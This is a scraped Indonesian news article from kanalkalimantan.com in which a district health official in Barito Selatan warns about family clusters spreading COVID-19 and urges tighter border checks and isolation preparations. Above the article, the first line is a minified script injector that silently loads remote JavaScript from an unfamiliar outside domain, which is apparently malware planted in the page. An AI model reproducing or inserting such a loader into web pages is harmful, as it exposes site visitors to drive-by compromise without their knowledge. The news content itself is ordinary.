(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Barito Selatan

WASPADA. Klaster Keluarga Potensi dalam Sebarkan Covid-19 di Barsel


KANALKALIMANTAN.COM, BUNTOK– Penjagaan di perbatasan masuk Kabupaten Barito Selatan (Barsel) diminta lebih diperketat, mengingat adanya varian baru dari virus Corona sekarang ini.

Kepala Dinas Kesehatan (Dinkes) Daryomo Sukiastomo Barsel menuturkan, kondisi Barsel yang terbilang aman dari penyebaran virus korona ini tentu akan menjadi sasaran tujuan masyarakat luar daerah yang wilayahnya sedang mengalami lonjakan kasus positif.

“Jika daerah kita aman, biasanya akan banyak lari ke sini. Ini sudah terjadi, ada warga dari Banjarmasin pulang ke Buntok, dan ternyata positif,” ungkap pria yang kerap disapa Yomi kepada Kanalkalimantan.com, di kantornya, Senin (12/7/2020).

Lebih lanjut olehnya terkait hal ini akhirnya keluarga bersangkutan ikut terkena dampaknya. Itu kenapa di perbatasan harus kita perketat kembali.

 

 

Baca juga: Plasma Konvalesen Diburu Pasien Covid-19, PMI Banjarmasin Kesulitan Cari Pendonor

Ia juga berharap, aparat TNI dan Polri serta Satgas Penanganan Covid-19 Barsel memperketat penjagaan di perbatasan masuk ke kabupaten berjuluk Bumi Dahani Dahanai Tuntung Tulus itu.

“Dengan terus memasang sikap waspada tentunya kita akan bisa menekan penyebaran covid-19 di Barsel ini, bahkan tidak terkecuali yang masuk dari Kota Palangka Raya,” tegas Yomi.

Ia membeberkan, sebagai langkah antisipasi dini seandainya terjadi lonjakan kasus positif di wilayah setempat, pemerintah daerah harus menyiapkan tempat tinggal dan sarana prasarana untuk pasien positif melakukan isolasi mandiri.

“Tempat tinggal, tenaga pengawas dan peralatan wajib dipersiapkan mulai sekarang,” ujarnya.

Diakui Yomi, semua ini bukan hal mudah, oleh sebab itulah semua pihak tanpa terkecuali harus bekerjasama menekan terjadinya lonjakan tersebut. Prinsipnya adalah virus korona ini bisa dihindari jika tidak ada kontak dengan orang terpapar.

“Semoga Barsel tetap aman dari penyebaran virus korona. Kita semua wajib menggalakkan penerapan protokol kesehatan. Bagi pelanggar sebaiknya diberikan sanksi, biar ada efek jera,” pungkas Yomi.(kanalkalimantan.com/digdo)

Reporter: digdo
Editor: cell


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.